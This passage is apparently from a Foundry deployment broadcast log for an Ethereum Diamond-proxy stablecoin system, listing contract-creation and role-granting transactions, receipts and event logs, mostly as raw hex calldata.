00d0054903b0d1245e2523b872dd1bdb65687276531b27252969e04a157aa5551a65882761051405228800e8055409491a00c405015c28382803454a6e32c60e21857ecebe0002a0257e3db030035d85dd62ed3e025d45bb7b8b802219053c157e6426034576a2f0f0244e053df0212402d485f446c1d02435053db06dd8232565afb430120367a5841953f387181e185b184618541846183f1831190860a16576797065728300030a0023000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000003d090000000000000000000000000000000000000000000000000000000004a817c8000000000000000000000000000000000000000000000000000000000000000a2500000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000360000000000000000000000000000000000000000000000000000000000000000b4c5553442f446f6c6c6172000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c555344446f6c6c61720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d10300000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + } + ], + "isFixedGasLimit": false + }, + { + "hash": "0x6ec39d56006098dfab8f892bf2584c2df0cdbbdba32790318b4e7a7bd3a1069b", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x115ac", + "value": "0x0", + "input": "0x1f7e8c7e000000000000000000000000cc68509f9ca0e1ed119eac7c468ec1b1c42f384f", + "nonce": "0x465", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xc140cd970fd44fbe40cd8cf44d599756778eb631c5c62bbd2e2f4791efbd31f1", + "transactionType": "CALL", + "contractName": null, + "contractAddress": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "function": "grantRole(bytes32,address)", + "arguments": ["0x3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c9", "0xED3084c98148e2528DaDCB53C56352e549C488fA"], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "gas": "0x125c8", + "value": "0x0", + "input": "0x2f2ff15d3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c9000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "nonce": "0x466", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x6d154269fb29eefff3c1cbbcdeab165cb2bb1b421df7ce1dbbaf950e22e62169", + "transactionType": "CALL", + "contractName": null, + "contractAddress": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "function": "grantRole(bytes32,address)", + "arguments": ["0xa3405bb4244d0786f3e4178acef3953ebb3f56c1e97e9530871f50739923c1cf", "0xED3084c98148e2528DaDCB53C56352e549C488fA"], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "gas": "0x125c8", + "value": "0x0", + "input": "0x2f2ff15da3405bb4244d0786f3e4178acef3953ebb3f56c1e97e9530871f50739923c1cf000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "nonce": "0x467", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xc3ec04777c62001f9020f9caaaccf7b8b92d88b9b006da09643da9abad39aa8a", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1157b", + "value": "0x0", + "input": "0xe2d443bd0000000000000000000000004e38d89362f7e5db0096ce44ebd021c3962aa9a0", + "nonce": "0x468", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xa77b0dbf15da5c7707c0a2ab5e056386f75b0172dca10f9cf3f0631930bd40b4", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1961f", + "value": "0x0", + "input": "0xa14d1f780000000000000000000000005f4ec3df9cbd43714fe2740f5e3616155c5b84190000000000000000000000000000000000000000000000000000000000000e10", + "nonce": "0x469", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x3882a2c08ecb242154d48ddbe6a5285b48694ee91829781e4634c6aa7e3fd7ef", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x11c70", + "value": "0x0", + "input": "0x9b94607c000000000000000000000000acdc85afcd8b83eb171affcbe29fad204f6ae45c", + "nonce": "0x46a", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + } + ], + "receipts": [ + { + "status": "0x1", + "cumulativeGasUsed": "0x825071", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x29d4c9a8b3b5b9480032ac1ee2374be917a6f5fd22a3f5db882d819be6b9b3bb", + "transactionIndex": "0x6c", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0xc4f14", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0xe17a61e55ccbc3d1e56b6a26ea1d4f8382a40ad9" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x9ad4fa", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x569b506b9a9876af9d309da49dcfd4c34de030f61ab3227fb9f3e751b03c7cbd", + "transactionIndex": "0x6d", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x188489", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0xd3c81bd07948a38546bca894f8bfecb552613798" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xa24583", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x1afc7573f218b35609513d77be2ca2392aa11440dc2490aaa16bb8ec3ba688fd", + "transactionIndex": "0x6e", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x77089", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0xd11b60c336a8416162272475ff9df572e516fc51" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xc0ae85", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xf5c03465a68a86b700aba947ffdc09e320cfd13c4a659cb54b858141e604407c", + "transactionIndex": "0x6f", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x1e6902", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0x0e9f3299b9443d3d5130771f26b7e18a2a7aa9db" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xc49913", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xd1ab4e2ee714a62be280b18b1c04b8a2e6ec63eddf8990e0bb88de7c70bc1a03", + "transactionIndex": "0x70", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x3ea8e", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0x58860e93b6fc7a6e4abd0f5d851a88654a34d0c0" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x104204c", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x3c4a05d831ee1a3f2d1afe2e53a3b1be5104618b35cb1216941e43419072d49c", + "transactionIndex": "0x71", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x3f8739", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0xb64f2347752192f51930ad6ad3bea0b3a2074fac" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x108f337", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xdd953eb1dafbdb036b436d2cd1fa8c430bfb3a4cf2effb1924a161d570ca1bda", + "transactionIndex": "0x72", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x4d2eb", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0x12fe22572873d18764df0c999b6c998bfab247fb" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x141080b", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": [ + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionIndex": "0x73", + "logIndex": "0xda", + "removed": false + }, + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb673"], + "data": "0x000000000000000000000000000000000000000000000000000000000000006000000000000000000000000012fe22572873d18764df0c999b6c998bfab247fb0000000000000000000000000000000000000000000000000000000000000f80000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000009c00000000000000000000000000000000000000000000000000000000000000a80000000000000000000000000e17a61e55ccbc3d1e56b6a26ea1d4f8382a40ad9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000009248a9ca3000000000000000000000000000000000000000000000000000000002f2ff15d0000000000000000000000000000000000000000000000000000000091d14854000000000000000000000000000000000000000000000000000000008456cb59000000000000000000000000000000000000000000000000000000005c975abb000000000000000000000000000000000000000000000000000000008bb9c5bf00000000000000000000000000000000000000000000000000000000d547741f000000000000000000000000000000000000000000000000000000001e4e0091000000000000000000000000000000000000000000000000000000003f4ba83a00000000000000000000000000000000000000000000000000000000000000000000000000000000d3c81bd07948a38546bca894f8bfecb5526137980000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000011f931c1c00000000000000000000000000000000000000000000000000000000000000000000000000000000d11b60c336a8416162272475ff9df572e516fc51000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000005cdffacc60000000000000000000000000000000000000000000000000000000052ef6b2c00000000000000000000000000000000000000000000000000000000adfca15e000000000000000000000000000000000000000000000000000000007a0ed6270000000000000000000000000000000000000000000000000000000001ffc9a7000000000000000000000000000000000000000000000000000000000000000000000000000000000e9f3299b9443d3d5130771f26b7e18a2a7aa9db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000291a47c90400000000000000000000000000000000000000000000000000000000421e108c0000000000000000000000000000000000000000000000000000000091df16d300000000000000000000000000000000000000000000000000000000b0bd67b4000000000000000000000000000000000000000000000000000000008b38ebb300000000000000000000000000000000000000000000000000000000ebef28a700000000000000000000000000000000000000000000000000000000017df32700000000000000000000000000000000000000000000000000000000fbff3a4100000000000000000000000000000000000000000000000000000000e0ee685500000000000000000000000000000000000000000000000000000000bc3ea01800000000000000000000000000000000000000000000000000000000a9b8b79600000000000000000000000000000000000000000000000000000000214f788200000000000000000000000000000000000000000000000000000000b42165d000000000000000000000000000000000000000000000000000000000221e2e600000000000000000000000000000000000000000000000000000000033c5aa5700000000000000000000000000000000000000000000000000000000c0030add00000000000000000000000000000000000000000000000000000000dd390ea000000000000000000000000000000000000000000000000000000000ba2d8cdd0000000000000000000000000000000000000000000000000000000093e4e9ee000000000000000000000000000000000000000000000000000000001a867af500000000000000000000000000000000000000000000000000000000f986cd5700000000000000000000000000000000000000000000000000000000f6f172cb0000000000000000000000000000000000000000000000000000000015f9739800000000000000000000000000000000000000000000000000000000e2d443bd00000000000000000000000000000000000000000000000000000000016afee700000000000000000000000000000000000000000000000000000000be1d86e10000000000000000000000000000000000000000000000000000000092324611000000000000000000000000000000000000000000000000000000001f7e8c7e000000000000000000000000000000000000000000000000000000001c1f8aa3000000000000000000000000000000000000000000000000000000000083faee00000000000000000000000000000000000000000000000000000000147f1b96000000000000000000000000000000000000000000000000000000006605bfda00000000000000000000000000000000000000000000000000000000826d5b8b00000000000000000000000000000000000000000000000000000000d3815fb900000000000000000000000000000000000000000000000000000000965cc7ac000000000000000000000000000000000000000000000000000000003535f48b00000000000000000000000000000000000000000000000000000000ad3401ed0000000000000000000000000000000000000000000000000000000036c3df2400000000000000000000000000000000000000000000000000000000c5f956af000000000000000000000000000000000000000000000000000000008fe6368300000000000000000000000000000000000000000000000000000000e8b734240000000000000000000000000000000000000000000000000000000000000000000000000000000058860e93b6fc7a6e4abd0f5d851a88654a34d0c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000028da5cb5b00000000000000000000000000000000000000000000000000000000f2fde38b00000000000000000000000000000000000000000000000000000000000000000000000000000000b64f2347752192f51930ad6ad3bea0b3a2074fac0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000202ed4d2d6000000000000000000000000000000000000000000000000000000007efc918f0000000000000000000000000000000000000000000000000000000081f17467000000000000000000000000000000000000000000000000000000009aae55a70000000000000000000000000000000000000000000000000000000082ae27cd00000000000000000000000000000000000000000000000000000000b4eae1cb000000000000000000000000000000000000000000000000000000009c494373000000000000000000000000000000000000000000000000000000009d202bf8000000000000000000000000000000000000000000000000000000009b52b9a80000000000000000000000000000000000000000000000000000000017b2bffa0000000000000000000000000000000000000000000000000000000087dcd5fb000000000000000000000000000000000000000000000000000000005b0bdd8a0000000000000000000000000000000000000000000000000000000092beb04200000000000000000000000000000000000000000000000000000000245cd973000000000000000000000000000000000000000000000000000000002287fe4000000000000000000000000000000000000000000000000000000000c4cb35cf00000000000000000000000000000000000000000000000000000000edecef95000000000000000000000000000000000000000000000000000000007e625a550000000000000000000000000000000000000000000000000000000030bbe58500000000000000000000000000000000000000000000000000000000de858d7c000000000000000000000000000000000000000000000000000000006060663e00000000000000000000000000000000000000000000000000000000a14d1f7800000000000000000000000000000000000000000000000000000000cec10c11000000000000000000000000000000000000000000000000000000009b94607c00000000000000000000000000000000000000000000000000000000ecfd1a9e000000000000000000000000000000000000000000000000000000007853c88800000000000000000000000000000000000000000000000000000000cbd4e7b4000000000000000000000000000000000000000000000000000000008106016300000000000000000000000000000000000000000000000000000000b98c9fe600000000000000000000000000000000000000000000000000000000aeaf4f0400000000000000000000000000000000000000000000000000000000040da68500000000000000000000000000000000000000000000000000000000edc8d27d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000243cfffd39000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000000000000000000000000000000000000", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionIndex": "0x73", + "logIndex": "0xdb", + "removed": false + }, + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionIndex": "0x73", + "logIndex": "0xdc", + "removed": false + }, + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0x2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionIndex": "0x73", + "logIndex": "0xdd", + "removed": false + }, + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0xd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionIndex": "0x73", + "logIndex": "0xde", + "removed": false + }, + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionIndex": "0x73", + "logIndex": "0xdf", + "removed": false + } + ], + "logsBloom": "0x00000004100000000000000000000000000000000000000000800000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000001000081000000000800000000000000100000020000000000001000000800000010000000000000000000000000400020000000000000000000000000008000800000000000000000000000000000080000000000000000000000000000000000000000000000001000000000000000000000000200000000000000000400000000000000000100002000000020000000000000008000000000000000000000000400800000000000000000000000", + "type": "0x2", + "transactionHash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionIndex": "0x73", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x3814d4", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x1425043", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0x2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd", + "0x000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x56be8eb80be13dc0436d0c942e8acc83862b112bfb0731b42ca6bf120054001b", + "transactionIndex": "0x74", + "logIndex": "0xe0", + "removed": false + } + ], + "logsBloom": "0x00000004100000000000000000000000000000000100000000000020000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000100000000000000000001000000000000010000000000040000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000400000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x56be8eb80be13dc0436d0c942e8acc83862b112bfb0731b42ca6bf120054001b", + "transactionIndex": "0x74", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x14838", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x143987b", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0xd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0", + "0x000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xacff54d7f5e37e2dfc5f3571b049b739d854cd8e794a2f800970c1f6fb9887df", + "transactionIndex": "0x75", + "logIndex": "0xe1", + "removed": false + } + ], + "logsBloom": "0x00000004000000000000000000000000000000000100000000000020000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000001000000000000000000000000040000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000001000000000000000000000000200000000000000000400000000000000000100000000000000000000000000008000000000000000000000000000800000000000000000000000", + "type": "0x2", + "transactionHash": "0xacff54d7f5e37e2dfc5f3571b049b739d854cd8e794a2f800970c1f6fb9887df", + "transactionIndex": "0x75", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x14838", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14a91cf", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x8b7c0241c36b5eeb6e8efd2045c7d973d8998316e13ba3fc7dc99b78d3b8ec34", + "transactionIndex": "0x76", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x6f954", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14b70d4", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x088e9476d8b4139e22c8e66b078291edda3cd924ce0b0e7193f2a38e293e70ee"], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xdb5488814de8a7f72a3170b7ef2a05b9a86ef6337764913dd43a3b6a53b7c4ab", + "transactionIndex": "0x77", + "logIndex": "0xe2", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xdb5488814de8a7f72a3170b7ef2a05b9a86ef6337764913dd43a3b6a53b7c4ab", + "transactionIndex": "0x77", + "blockHash": 